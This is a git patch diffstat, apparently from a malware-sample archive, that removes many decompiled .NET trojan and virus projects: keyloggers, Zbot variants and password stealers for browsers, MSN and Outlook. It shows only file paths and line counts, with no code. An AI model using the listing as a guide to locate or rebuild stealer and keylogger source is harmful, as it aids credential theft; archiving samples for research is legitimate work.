From 03f5c7458773a58ae624fbfab36b3b90b0a54f6c Mon Sep 17 00:00:00 2001 From: vxunderground <57078196+vxunderground@users.noreply.github.com> Date: Mon, 22 Aug 2022 11:08:54 -0500 Subject: [PATCH] final mov --- .../Antis.cs | 215 - .../AssemblyInfo.cs | 15 - .../Form1.cs | 2545 ----- .../Form1.resx | 123 - .../My/MyApplication.cs | 48 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 212 - .../My/MySettings.cs | 73 - .../My/MySettingsProperty.cs | 24 - .../My/Resources/Resources.cs | 46 - .../Resources.resx | 120 - .../Stealers.cs | 1036 -- .../Trojan-Spy.MSIL.KeyLogger.ajb.csproj | 56 - .../Trojan-Spy.MSIL.KeyLogger.ajb.sln | 20 - .../AssemblyInfo.cs | 11 - .../Attributes/PoweredByAttribute.cs | 17 - .../Trojan-Spy.MSIL.KeyLogger.aml.csproj | 62 - .../Trojan-Spy.MSIL.KeyLogger.aml.sln | 20 - .../_0001/_0001.cs | 10 - .../_0001/_0002.cs | 53 - .../_0001/_0003.cs | 118 - .../_0002/_0001.cs | 46 - .../_0002/_0002.cs | 22 - .../_0002/_0003.cs | 148 - .../_0003/_0001.cs | 196 - .../_0003/_0002.cs | 190 - .../_0003/_0003.cs | 1091 -- .../_0003/_0003.resx | 120 - .../_0004/_0001.cs | 242 - .../_0004/_0002.cs | 20 - .../_0004/_0003.cs | 44 - .../_0005/_0001.cs | 63 - .../d1a3l0ss_asdf/My/MySettings.cs | 70 - .../d1a3l0ss_asdf/Resources.resx | 120 - .../{50a68cbd-55ea-4e40-8dcb-f2a44dfb42de} | Bin 2681 -> 0 bytes .../AssemblyInfo.cs | 3 - .../GUlBzjdJZuXUZ.cs | 216 - .../LEThjJwJF.cs | 699 -- .../My/MyApplication.cs | 18 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 108 - .../SRBxUiHKAFOgn.cs | 81 - .../Trojan-Spy.MSIL.KeyLogger.aqg.csproj | 47 - .../Trojan-Spy.MSIL.KeyLogger.aqg.sln | 20 - .../AssemblyInfo.cs | 3 - .../LEThjJwJF.cs | 699 -- .../My/MyApplication.cs | 18 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 108 - .../Trojan-Spy.MSIL.KeyLogger.aww.csproj | 47 - .../Trojan-Spy.MSIL.KeyLogger.aww.sln | 20 - .../jBcGFYzTOTtD.cs | 216 - .../sfNwkKhkokmC.cs | 81 - .../AssemblyInfo.cs | 3 - .../JFsnADcn.cs | 210 - .../LEThjJwJ.cs | 696 -- .../My/MyApplication.cs | 18 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 108 - .../Trojan-Spy.MSIL.KeyLogger.aww.csproj | 47 - .../Trojan-Spy.MSIL.KeyLogger.aww.sln | 20 - .../urEVdlZmdSt.cs | 81 - .../AssemblyInfo.cs | 13 - .../Form1.cs | 910 -- .../Form1.resx | 130 - .../Keyboard.cs | 377 - .../My/MyApplication.cs | 23 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 212 - .../My/MySettings.cs | 36 - .../My/MySettingsProperty.cs | 31 - .../My/Resources/Resources.cs | 46 - .../Resources.resx | 120 - .../Trojan-Spy.MSIL.KeyLogger.bxuq.csproj | 54 - .../Trojan-Spy.MSIL.KeyLogger.bxuq.sln | 20 - .../AssemblyInfo.cs | 15 - .../Attributes/PoweredByAttribute.cs | 17 - .../SmartAssembly/Attributes/Token20000A6.cs | 12 - .../Trojan-Spy.MSIL.KeyLogger.bxxf.csproj | 193 - .../Trojan-Spy.MSIL.KeyLogger.bxxf.sln | 20 - .../_0001/Token20000A3.cs | 12 - .../_0001/_0001.cs | 72 - .../_0001/_0002.cs | 10 - .../_0001/_0003.cs | 54 - .../_0001_0002.cs | 9 - .../_0001_0003.cs | 9 - .../_0002/Token20000A4.cs | 12 - .../_0002/_0001.cs | 184 - .../_0002/_0002.cs | 20 - .../_0002/_0003.cs | 1013 -- .../_0002_0002.cs | 9 - .../_0002_0003.cs | 9 - .../_0003/Token20000A5.cs | 12 - .../_0003/_0001.cs | 51 - .../_0003/_0002.cs | 124 - .../_0003/_0003.cs | 93 - .../_0003_0002.cs | 10 - .../_0003_0003.cs | 10 - .../_0004/Token20000A7.cs | 12 - .../_0004/_0001.cs | 22 - .../_0004/_0002.cs | 165 - .../_0004/_0003.cs | 535 - .../_0004/_0003.resx | 123 - .../_0004_0002.cs | 10 - .../_0004_0003.cs | 7 - .../_0005/Token20000A8.cs | 12 - .../_0005/_0001.cs | 147 - .../_0005/_0002.cs | 318 - .../_0005/_0003.cs | 25 - .../_0005_0002.cs | 10 - .../_0005_0003.cs | 9 - .../_0006_0002.cs | 9 - .../_0006_0003.cs | 10 - .../_0007_0002.cs | 9 - .../_0007_0003.cs | 10 - .../_0008_0002.cs | 10 - .../_0008_0003.cs | 10 - .../_000E_0002.cs | 10 - .../_000E_0003.cs | 7 - .../_000F_0002.cs | 9 - .../_000F_0003.cs | 10 - .../_0010_0002.cs | 9 - .../_0010_0003.cs | 10 - .../_0011_0002.cs | 15 - .../_0011_0003.cs | 10 - .../_0012_0002.cs | 9 - .../_0012_0003.cs | 9 - .../_0013_0002.cs | 9 - .../_0013_0003.cs | 10 - .../_0014_0002.cs | 10 - .../_0014_0003.cs | 10 - .../_0015_0002.cs | 10 - .../_0015_0003.cs | 9 - .../_0016_0002.cs | 11 - .../_0016_0003.cs | 9 - .../_0017_0002.cs | 10 - .../_0017_0003.cs | 9 - .../_0018_0002.cs | 10 - .../_0018_0003.cs | 10 - .../_0019_0002.cs | 10 - .../_0019_0003.cs | 9 - .../_001A_0002.cs | 10 - .../_001A_0003.cs | 10 - .../_001B_0002.cs | 9 - .../_001B_0003.cs | 10 - .../_001C_0002.cs | 9 - .../_001C_0003.cs | 9 - .../_001D_0002.cs | 10 - .../_001D_0003.cs | 9 - .../_001E_0002.cs | 9 - .../_001E_0003.cs | 10 - .../_001F_0002.cs | 9 - .../_001F_0003.cs | 9 - .../_007F_0002.cs | 9 - .../_007F_0003.cs | 9 - .../_0080_0002.cs | 10 - .../_0080_0003.cs | 9 - .../_0081_0002.cs | 10 - .../_0081_0003.cs | 9 - .../_0082_0002.cs | 10 - .../_0082_0003.cs | 10 - .../_0083_0002.cs | 10 - .../_0083_0003.cs | 10 - .../_0084_0002.cs | 10 - .../_0084_0003.cs | 9 - .../_0086_0002.cs | 10 - .../_0086_0003.cs | 10 - .../_0087_0002.cs | 10 - .../_0087_0003.cs | 10 - .../_0088_0002.cs | 10 - .../_0088_0003.cs | 11 - .../_0089_0002.cs | 9 - .../_0089_0003.cs | 9 - .../_008A_0002.cs | 9 - .../_008A_0003.cs | 10 - .../_008B_0002.cs | 10 - .../_008B_0003.cs | 11 - .../_008C.cs | 10 - .../_008C_0002.cs | 10 - .../_008C_0003.cs | 7 - .../_008D.cs | 9 - .../_008D_0002.cs | 10 - .../_008D_0003.cs | 7 - .../_008E.cs | 9 - .../_008E_0002.cs | 9 - .../_008E_0003.cs | 10 - .../_008F.cs | 9 - .../_008F_0002.cs | 11 - .../_008F_0003.cs | 9 - .../_0090.cs | 10 - .../_0090_0002.cs | 9 - .../_0090_0003.cs | 9 - .../_0091.cs | 9 - .../_0091_0002.cs | 9 - .../_0091_0003.cs | 10 - .../_0092.cs | 7 - .../_0092_0002.cs | 10 - .../_0092_0003.cs | 10 - .../_0093.cs | 10 - .../_0093_0002.cs | 10 - .../_0094.cs | 9 - .../_0094_0002.cs | 10 - .../_0095.cs | 10 - .../_0095_0002.cs | 9 - .../_0096.cs | 10 - .../_0096_0002.cs | 10 - .../_0097.cs | 10 - .../_0097_0002.cs | 9 - .../_0098.cs | 10 - .../_0098_0002.cs | 9 - .../_0099.cs | 9 - .../_0099_0002.cs | 9 - .../_009A.cs | 9 - .../_009A_0002.cs | 9 - .../_009B.cs | 9 - .../_009B_0002.cs | 10 - .../_009C.cs | 10 - .../_009C_0002.cs | 10 - .../_009D.cs | 9 - .../_009D_0002.cs | 10 - .../_009E.cs | 9 - .../_009E_0002.cs | 10 - .../_009F.cs | 9 - .../_009F_0002.cs | 9 - .../ctfmon/My/MySettings.cs | 75 - .../ctfmon/My/Token20000A9.cs | 12 - .../ctfmon/Resources.resx | 120 - .../{2b1874d2-b5d6-4fc2-9c40-41c2d3a7e9b2} | Bin 1276 -> 0 bytes .../AssemblyInfo.cs | 15 - .../CIpn15qGVW59Oep.cs | 255 - .../EOrLbYk14XPeC2oE2E0s9Ekcpf.cs | 274 - .../Form1.cs | 5974 ----------- .../J13Dj9F1U42052wSN8OX3y1.cs | 402 - .../L9Fs053DTOmx5Sr3S.cs | 267 - .../LdaeCH7yImBBllx3KJR5B1Y.cs | 361 - .../LlCg66U8nQ6.cs | 349 - .../My/MyApplication.cs | 86 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 212 - .../My/MySettings.cs | 74 - .../My/MySettingsProperty.cs | 31 - .../My/Resources/Resources.cs | 46 - .../Q442g1f5Onjhrb38EJ07A2cX4am.cs | 463 - .../Q442g1f5Onjhrb38EJ07A2cX4am.resx | 120 - .../Resources.resx | 120 - .../Trojan-Spy.MSIL.KeyLogger.bxxv.csproj | 76 - .../Trojan-Spy.MSIL.KeyLogger.bxxv.sln | 20 - .../WYeVnEg2c8C85.cs | 320 - .../Y8ZQPn178BO8vhW.cs | 301 - .../ZzYeR2hJMVlL7VL6E8I6dw5Lcjkb.cs | 307 - .../ay97PbFT20PTEOrs9OYziG8.cs | 353 - .../b0k7z5c574A4Hx43I4Q.cs | 385 - .../blg20Q73EhiWk8fVKc2sVEu83TznP.cs | 303 - .../c77XF9eDZOuzFF8f5q1bJV.cs | 325 - .../jYP1913Mct6Y.cs | 260 - .../m4aaQpJhrZ9Xe326dIedu5.cs | 415 - .../tf6n1Si0qpIP.cs | 454 - .../thV1dRPZq5YYD4h.cs | 162 - .../uNO6ZA0upXN2er2Ycc3Lk4F3Q.cs | 412 - .../uW0MN3XhpeqRmhAi5iX7Jt0fUF7gp.cs | 243 - .../w6H762O8GJ93u32E6V3a3.cs | 328 - .../xO8Lcd7LMsI8eH3C5hOzuS72um9.cs | 291 - .../zhKYr9Vhgz13n9l28t.cs | 354 - .../AssemblyInfo.cs | 14 - .../Form1.cs | 371 - .../Form1.resx | 120 - .../Keylogger/Keylogger.cs | 374 - .../Program.cs | 22 - .../Properties/Resources.cs | 46 - .../Properties/Resources.resx | 120 - .../Properties/Settings.cs | 21 - .../Trojan-Spy.MSIL.KeyLogger.cciq.csproj | 50 - .../Trojan-Spy.MSIL.KeyLogger.cciq.sln | 20 - .../AssemblyInfo.cs | 15 - .../Attributes/PoweredByAttribute.cs | 17 - .../Trojan-Spy.MSIL.KeyLogger.cfj.csproj | 55 - .../Trojan-Spy.MSIL.KeyLogger.cfj.sln | 20 - .../_0001/_0001.cs | 49 - .../_0001/_0002.cs | 24 - .../_0002/_0001.cs | 212 - .../_0002/_0002.cs | 122 - .../_0003/_0001.cs | 27 - .../_0003/_0002.cs | 2292 ----- .../_0003/_0002.resx | 120 - .../_0004/_0001.cs | 47 - .../_0004/_0002.cs | 25 - .../awewf45wrtghfghfghfgh/My/MySettings.cs | 74 - .../awewf45wrtghfghfghfgh/Resources.resx | 120 - .../AssemblyInfo.cs | 15 - .../Attributes/PoweredByAttribute.cs | 17 - .../Trojan-Spy.MSIL.KeyLogger.cfj.csproj | 55 - .../Trojan-Spy.MSIL.KeyLogger.cfj.sln | 20 - .../_0001/_0001.cs | 49 - .../_0001/_0002.cs | 24 - .../_0002/_0001.cs | 212 - .../_0002/_0002.cs | 122 - .../_0003/_0001.cs | 27 - .../_0003/_0002.cs | 2292 ----- .../_0003/_0002.resx | 120 - .../_0004/_0001.cs | 47 - .../_0004/_0002.cs | 25 - .../awewf45wrtghfghfghfgh/My/MySettings.cs | 74 - .../awewf45wrtghfghfghfgh/Resources.resx | 120 - .../AssemblyInfo.cs | 15 - .../Module1.cs | 129 - .../My/InternalXmlHelper.cs | 214 - .../My/MyApplication.cs | 58 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 212 - .../My/MySettings.cs | 74 - .../My/MySettingsProperty.cs | 31 - .../My/Resources/Resources.cs | 46 - .../Resources.resx | 120 - .../Trojan-Spy.MSIL.KeyLogger.cme.csproj | 57 - .../Trojan-Spy.MSIL.KeyLogger.cme.sln | 20 - .../form1.cs | 975 -- .../form1.resx | 123 - .../AssemblyInfo.cs | 7 - .../My/MyApplication.cs | 18 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 108 - .../RinLoggerServer/RinHelper.cs | 214 - .../RinLoggerServer/RinLogger.cs | 606 -- .../RinLoggerServer/ScreenCapture.cs | 84 - .../Trojan-Spy.MSIL.KeyLogger.cts.csproj | 47 - .../Trojan-Spy.MSIL.KeyLogger.cts.sln | 20 - .../AssemblyInfo.cs | 13 - .../Form1.cs | 1440 --- .../Form1.resx | 120 - .../My/MyApplication.cs | 48 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 212 - .../My/MySettings.cs | 82 - .../My/MySettingsProperty.cs | 24 - .../My/Resources/Resources.cs | 46 - .../Resources.resx | 120 - .../Trojan-Spy.MSIL.KeyLogger.cuw.csproj | 53 - .../Trojan-Spy.MSIL.KeyLogger.cuw.sln | 20 - .../AssemblyInfo.cs | 13 - .../Form1.cs | 1440 --- .../Form1.resx | 120 - .../My/MyApplication.cs | 48 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 212 - .../My/MySettings.cs | 82 - .../My/MySettingsProperty.cs | 24 - .../My/Resources/Resources.cs | 46 - .../Resources.resx | 120 - .../Trojan-Spy.MSIL.KeyLogger.cuw.csproj | 53 - .../Trojan-Spy.MSIL.KeyLogger.cuw.sln | 20 - .../AssemblyInfo.cs | 13 - .../Form1.cs | 1440 --- .../Form1.resx | 120 - .../My/MyApplication.cs | 48 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 212 - .../My/MySettings.cs | 82 - .../My/MySettingsProperty.cs | 24 - .../My/Resources/Resources.cs | 46 - .../Resources.resx | 120 - .../Trojan-Spy.MSIL.KeyLogger.cuw.csproj | 53 - .../Trojan-Spy.MSIL.KeyLogger.cuw.sln | 20 - .../AssemblyInfo.cs | 13 - .../Form1.cs | 1440 --- .../Form1.resx | 120 - .../My/MyApplication.cs | 48 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 212 - .../My/MySettings.cs | 82 - .../My/MySettingsProperty.cs | 24 - .../My/Resources/Resources.cs | 46 - .../Resources.resx | 120 - .../Trojan-Spy.MSIL.KeyLogger.cuw.csproj | 53 - .../Trojan-Spy.MSIL.KeyLogger.cuw.sln | 20 - .../AssemblyInfo.cs | 13 - .../Form1.cs | 1440 --- .../Form1.resx | 120 - .../My/MyApplication.cs | 48 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 212 - .../My/MySettings.cs | 82 - .../My/MySettingsProperty.cs | 24 - .../My/Resources/Resources.cs | 46 - .../Resources.resx | 120 - .../Trojan-Spy.MSIL.KeyLogger.cuw.csproj | 53 - .../Trojan-Spy.MSIL.KeyLogger.cuw.sln | 20 - .../AssemblyInfo.cs | 3 - .../DKZdzRzsT.cs | 216 - .../LEThjJw.cs | 696 -- .../My/MyApplication.cs | 18 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 108 - .../Trojan-Spy.MSIL.KeyLogger.cve.csproj | 47 - .../Trojan-Spy.MSIL.KeyLogger.cve.sln | 20 - .../eGKfVnKcdYRn.cs | 81 - .../AssemblyInfo.cs | 13 - .../Form1.cs | 822 -- .../Form1.resx | 120 - .../My/MyApplication.cs | 57 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 212 - .../My/MySettings.cs | 74 - .../My/MySettingsProperty.cs | 31 - .../My/Resources/Resources.cs | 46 - .../Resources.resx | 120 - .../Trojan-Spy.MSIL.KeyLogger.cwa.csproj | 53 - .../Trojan-Spy.MSIL.KeyLogger.cwa.sln | 20 - .../AssemblyInfo.cs | 14 - .../KeyLogger/Properties/Resources.cs | 119 - .../KeyLogger/Properties/Resources.resx | 228 - .../KeyLogger/Properties/Settings.cs | 226 - .../Trojan-Spy.MSIL.KeyLogger.czk.csproj | 98 - .../Trojan-Spy.MSIL.KeyLogger.czk.sln | 20 - .../ᙀ.cs | 3240 ------ .../ᙀ.resx | 147 - .../ᙂ.cs | 12 - .../ᙄ.cs | 164 - .../ᙆ.cs | 60 - .../ᙖ.cs | 9 - .../ᙵ.cs | 1365 --- .../ᙾ.cs | 69 - .../ᝨ.cs | 69 - .../ᝮ.cs | 347 - .../ᝰ.cs | 86 - .../ᝰ.resx | 123 - .../ណ.cs | 80 - .../យ.cs | 85 - .../យ.resx | 123 - .../ឞ.cs | 53 - .../ឞ.resx | 123 - .../អ.cs | 163 - .../ឰ.cs | 47 - .../ឲ.cs | 118 - .../ឲ.resx | 120 - .../ែ.cs | 97 - .../ែ.resx | 120 - .../ោ.cs | 233 - .../ោ.resx | 120 - .../ំ.cs | 542 - .../ំ.resx | 120 - .../ៈ.cs | 65 - .../ៈ.resx | 123 - .../៊.cs | 106 - .../៊.resx | 120 - .../៎.cs | 32 - .../៘.cs | 82 - .../៘.resx | 120 - .../០.cs | 106 - .../៪.cs | 229 - .../᠆.cs | 111 - .../᠊.cs | 12 - .../᠘.cs | 93 - .../ᠨ.cs | 272 - .../ᠾ.cs | 204 - .../ᡄ.cs | 124 - .../ᡈ.cs | 205 - .../ᡔ.cs | 178 - .../ᡘ.cs | 118 - .../ᡙ.cs | 114 - .../ᡙ.resx | 123 - .../ᡞ.cs | 60 - .../ᡞ.resx | 123 - .../᡾.cs | 428 - .../AssemblyInfo.cs | 13 - .../Form1.cs | 3816 ------- .../Form1.resx | 120 - .../Form2.cs | 140 - .../Form2.resx | 120 - .../My/MyApplication.cs | 58 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 230 - .../My/MySettings.cs | 74 - .../My/MySettingsProperty.cs | 31 - .../My/Resources/Resources.cs | 46 - .../Resources.resx | 120 - .../Trojan-Spy.MSIL.KeyLogger.dga.csproj | 56 - .../Trojan-Spy.MSIL.KeyLogger.dga.sln | 20 - .../huhuhuiifyuhuyufuf.cs | 5306 ---------- .../AssemblyInfo.cs | 13 - .../Form1.cs | 2892 ------ .../Form1.resx | 120 - .../Keyboard.cs | 343 - .../My/MyApplication.cs | 48 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 212 - .../My/MySettings.cs | 73 - .../My/MySettingsProperty.cs | 24 - .../My/Resources/Resources.cs | 46 - .../Resources.resx | 120 - .../Trojan-Spy.MSIL.KeyLogger.ecv.csproj | 55 - .../Trojan-Spy.MSIL.KeyLogger.ecv.sln | 20 - .../AssemblyInfo.cs | 13 - .../CIE7Password.cs | 53 - .../CIE7Passwords.cs | 684 -- .../CIEPassword.cs | 55 - .../CIEPasswords.cs | 356 - .../CItem.cs | 78 - .../CItems.cs | 234 - .../CMSNExplorerPassword.cs | 24 - .../CMSNExplorerPasswords.cs | 98 - .../CMSNMessengerPassword.cs | 31 - .../CMSNMessengerPasswords.cs | 830 -- .../CProtectStore.cs | 127 - .../CSubType.cs | 51 - .../CSubTypes.cs | 174 - .../CType_Renamed.cs | 51 - .../CTypes.cs | 162 - .../CUtils.cs | 32 - .../Form1.cs | 9116 ----------------- .../Form1.resx | 120 - .../FuckTheKey.cs | 3993 -------- .../LAN.cs | 137 - .../Module1.cs | 193 - .../My/MyApplication.cs | 48 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 207 - .../My/MySettings.cs | 68 - .../My/MySettingsProperty.cs | 24 - .../My/Resources/Resources.cs | 46 - .../Outlook.cs | 189 - .../P2P.cs | 58 - .../PStoreLib/ConstPStore.cs | 37 - .../PStoreLib/IEnumPStoreItems.cs | 30 - .../PStoreLib/IEnumPStoreProviders.cs | 30 - .../PStoreLib/IEnumPStoreTypes.cs | 31 - .../PStoreLib/IPStore.cs | 139 - .../PStoreLib/PST_ACCESSCLAUSE.cs | 19 - .../PStoreLib/PST_ACCESSRULE.cs | 19 - .../PStoreLib/PST_ACCESSRULESET.cs | 18 - .../PStoreLib/PST_AUTHENTICODEDATA.cs | 21 - .../PStoreLib/PST_BINARYCHECKDATA.cs | 18 - .../PStoreLib/PST_ERROR_CODE.cs | 35 - .../PStoreLib/PST_KEY.cs | 14 - .../PStoreLib/PST_PROMPTINFO.cs | 19 - .../PStoreLib/PST_PROVIDERINFO.cs | 20 - .../PStoreLib/PST_TYPEINFO.cs | 18 - .../PStoreLib/guidProvider.cs | 18 - .../PStoreLib/guidType.cs | 20 - .../RAR.cs | 93 - .../ResourceReader.cs | 39 - .../Resources.resx | 120 - .../SQLiteBase.cs | 253 - .../Trojan-Spy.MSIL.KeyLogger.ghj.csproj | 102 - .../Trojan-Spy.MSIL.KeyLogger.ghj.sln | 20 - .../os.cs | 16 - .../xxx.cs | 116 - .../yahoo.cs | 129 - .../AssemblyInfo.cs | 14 - .../Program.cs | 412 - .../Trojan-Spy.MSIL.KeyLogger.irg.csproj | 41 - .../Trojan-Spy.MSIL.KeyLogger.irg.sln | 20 - .../AssemblyInfo.cs | 13 - .../Form1.cs | 2109 ---- .../Form1.resx | 120 - .../Module1.cs | 142 - .../My/MyApplication.cs | 48 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 212 - .../My/MySettings.cs | 73 - .../My/MySettingsProperty.cs | 24 - .../My/Resources/Resources.cs | 46 - .../Resources.resx | 120 - .../Trojan-Spy.MSIL.KeyLogger.jfp.csproj | 54 - .../Trojan-Spy.MSIL.KeyLogger.jfp.sln | 20 - .../AssemblyInfo.cs | 13 - .../Form1.cs | 2109 ---- .../Form1.resx | 120 - .../Module1.cs | 142 - .../My/MyApplication.cs | 48 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 212 - .../My/MySettings.cs | 73 - .../My/MySettingsProperty.cs | 24 - .../My/Resources/Resources.cs | 46 - .../Resources.resx | 120 - .../Trojan-Spy.MSIL.KeyLogger.jfp.csproj | 54 - .../Trojan-Spy.MSIL.KeyLogger.jfp.sln | 20 - .../AssemblyInfo.cs | 13 - .../Form1.cs | 191 - .../Form1.resx | 120 - .../My/MyApplication.cs | 48 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 212 - .../My/MySettings.cs | 73 - .../My/MySettingsProperty.cs | 24 - .../My/Resources/Resources.cs | 46 - .../Resources.resx | 120 - .../Trojan-Spy.MSIL.KeyLogger.jfp.csproj | 53 - .../Trojan-Spy.MSIL.KeyLogger.jfp.sln | 20 - .../443248CC0414BFB56CD5DC6EEC944A5F67233D02 | Bin 10171 -> 0 bytes .../AssemblyInfo.cs | 13 - .../T40.cs | 1050 -- .../T44.cs | 451 - .../Trojan-Spy.MSIL.KeyLogger.qqc.csproj | 47 - .../Trojan-Spy.MSIL.KeyLogger.qqc.sln | 20 - .../_003CModule_003E.cs | 12 - .../AssemblyInfo.cs | 8 - .../Attributes/PoweredByAttribute.cs | 17 - .../Trojan-Spy.MSIL.Redator.a.csproj | 68 - .../Trojan-Spy.MSIL.Redator.a.sln | 20 - .../_0001/_0001.cs | 109 - .../_0001/_0002.cs | 25 - .../_0001/_0003.cs | 50 - .../_0002/_0001.cs | 1013 -- .../_0002/_0002.cs | 50 - .../_0002/_0003.cs | 300 - .../_0003/_0001.cs | 175 - .../_0003/_0002.cs | 25 - .../_0003/_0003.cs | 46 - .../_0004/_0001.cs | 22 - .../_0004/_0002.cs | 154 - .../_0004/_0003.cs | 199 - .../_0005/_0001.cs | 77 - .../_0005/_0002.cs | 33 - .../_0005/_0003.cs | 17 - .../_0006/_0001.cs | 104 - .../_0006/_0002.cs | 36 - .../_0006/_0003.cs | 2398 ----- .../_0007/_0001.cs | 76 - .../_003CModule_003E.cs | 17 - .../{22542804-11a8-4fba-88a0-b451cddbacb6} | Bin 18004 -> 0 bytes .../{ec6fbd32-3576-4d40-b4a5-7808ea9cda7f} | Bin 460 -> 0 bytes .../AssemblyInfo.cs | 8 - .../Attributes/PoweredByAttribute.cs | 17 - .../Trojan-Spy.MSIL.Redator.a.csproj | 68 - .../Trojan-Spy.MSIL.Redator.a.sln | 20 - .../_0001/_0001.cs | 109 - .../_0001/_0002.cs | 25 - .../_0001/_0003.cs | 50 - .../_0002/_0001.cs | 1013 -- .../_0002/_0002.cs | 50 - .../_0002/_0003.cs | 300 - .../_0003/_0001.cs | 175 - .../_0003/_0002.cs | 25 - .../_0003/_0003.cs | 46 - .../_0004/_0001.cs | 22 - .../_0004/_0002.cs | 154 - .../_0004/_0003.cs | 199 - .../_0005/_0001.cs | 77 - .../_0005/_0002.cs | 33 - .../_0005/_0003.cs | 17 - .../_0006/_0001.cs | 104 - .../_0006/_0002.cs | 36 - .../_0006/_0003.cs | 2398 ----- .../_0007/_0001.cs | 76 - .../_003CModule_003E.cs | 17 - .../{22542804-11a8-4fba-88a0-b451cddbacb6} | Bin 18004 -> 0 bytes .../{ec6fbd32-3576-4d40-b4a5-7808ea9cda7f} | Bin 460 -> 0 bytes .../AssemblyInfo.cs | 3 - .../MyApplication.cs | 18 - .../MyComputer.cs | 24 - .../MyProject.cs | 108 - .../Trojan-Spy.MSIL.Zbot.btc.csproj | 46 - .../Trojan-Spy.MSIL.Zbot.btc.sln | 20 - .../buffy.cs | 632 -- .../pizde.cs | 645 -- .../AssemblyInfo.cs | 3 - .../MyApplication.cs | 18 - .../MyComputer.cs | 24 - .../MyProject.cs | 108 - .../Trojan-Spy.MSIL.Zbot.btc.csproj | 46 - .../Trojan-Spy.MSIL.Zbot.btc.sln | 20 - .../buffy.cs | 632 -- .../pizde.cs | 645 -- .../AssemblyInfo.cs | 3 - .../MyApplication.cs | 18 - .../MyComputer.cs | 24 - .../MyProject.cs | 108 - .../Trojan-Spy.MSIL.Zbot.btc.csproj | 46 - .../Trojan-Spy.MSIL.Zbot.btc.sln | 20 - .../buffy.cs | 632 -- .../pizde.cs | 645 -- .../AssemblyInfo.cs | 3 - .../MyApplication.cs | 18 - .../MyComputer.cs | 24 - .../MyProject.cs | 108 - .../Trojan-Spy.MSIL.Zbot.btc.csproj | 46 - .../Trojan-Spy.MSIL.Zbot.btc.sln | 20 - .../buffy.cs | 632 -- .../pizde.cs | 645 -- .../AssemblyInfo.cs | 3 - .../MyApplication.cs | 18 - .../MyComputer.cs | 24 - .../MyProject.cs | 108 - .../Trojan-Spy.MSIL.Zbot.cvt.csproj | 44 - .../Trojan-Spy.MSIL.Zbot.cvt.sln | 20 - ...oQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccb.cs | 511 - .../AssemblyInfo.cs | 5 - .../FZyIKqFyuZaIAgE.resx | 5122 --------- .../MNtJNtuVmVIvLNzGAlMm.cs | 70 - .../Trojan-Spy.MSIL.Zbot.dnp.csproj | 40 - .../Trojan-Spy.MSIL.Zbot.dnp.sln | 20 - .../AssemblyInfo.cs | 13 - .../My/MyApplication.cs | 48 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 212 - .../My/MySettings.cs | 73 - .../My/MySettingsProperty.cs | 24 - .../My/Resources/Resources.cs | 46 - .../Resources.resx | 120 - .../Trojan-Spy.Win32.ICQ.vir.csproj | 53 - .../Trojan-Spy.Win32.ICQ.vir.sln | 20 - .../hodown.cs | 91 - .../hodown.resx | 120 - .../1286ccb9-01dc-498b-84d2-3a004b81419d | Bin 5888 -> 0 bytes .../AssemblyInfo.cs | 21 - .../R_K/My/MySettings.cs | 175 - .../R_K/Resources.resx | 120 - .../Trojan-Spy.Win32.Zbot.gqzd.csproj | 66 - .../Trojan-Spy.Win32.Zbot.gqzd.sln | 20 - .../_003CModule_003E.cs | 12 - ..._003E{47562485-194B-4BC9-B0DC-38EFC00B1.cs | 12 - .../a386bc81-f6ca-4da3-93b0-b3ee6391dc7c | Bin 32 -> 0 bytes .../a6538a39-a489-4fc0-b71d-56342f265087 | 1 - .../​  ​      ​ | Bin 297 -> 0 bytes .../AssemblyInfo.cs | 14 - .../ExecRegedit.cs | 417 - .../Form1.cs | 730 -- .../Form1.resx | 123 - .../Program.cs | 22 - .../Properties/Resources.cs | 46 - .../Properties/Resources.resx | 120 - .../Properties/Settings.cs | 21 - .../Virus.MSIL.Autorun.a.csproj | 50 - .../Virus.MSIL.Autorun.a.sln | 20 - .../AssemblyInfo.cs | 3 - .../MainApp.cs | 19 - .../Virus.MSIL.Gastropod.csproj | 37 - .../Virus.MSIL.Gastropod.sln | 20 - .../kckelhvxlr/xrieopydqqcD.cs | 1693 --- .../AssemblyInfo.cs | 3 - .../MainApp.cs | 19 - .../Virus.MSIL.Gastropod.csproj | 37 - .../Virus.MSIL.Gastropod.sln | 20 - .../zwuUkpmiAMoxhf/lapixb.cs | 1916 ---- .../AssemblyInfo.cs | 16 - .../Loki.cs | 256 - .../Program.cs | 30 - .../Virus.MSIL.Kilo.a.csproj | 41 - .../Virus.MSIL.Kilo.a.sln | 20 - .../AT.cs | 231 - .../AssemblyInfo.cs | 3 - .../Virus.MSIL.Radalatan.a.csproj | 42 - .../Virus.MSIL.Radalatan.a.sln | 20 - .../AssemblyInfo.cs | 3 - .../Hello.cs | 13 - .../Virus.MSIL.Small.b.csproj | 39 - .../Virus.MSIL.Small.b.sln | 20 - .../AssemblyInfo.cs | 10 - .../Baizah.cs | 72 - .../MainVirus.cs | 31 - .../Virus.MSIL.Small.c.csproj | 41 - .../Virus.MSIL.Small.c.sln | 20 - .../AssemblyInfo.cs | 3 - .../Module1.cs | 172 - .../Virus.MSIL.Small.d.csproj | 45 - .../Virus.MSIL.Small.d.sln | 20 - .../AssemblyInfo.cs | 3 - .../Module1.cs | 172 - .../Virus.MSIL.Small.d.csproj 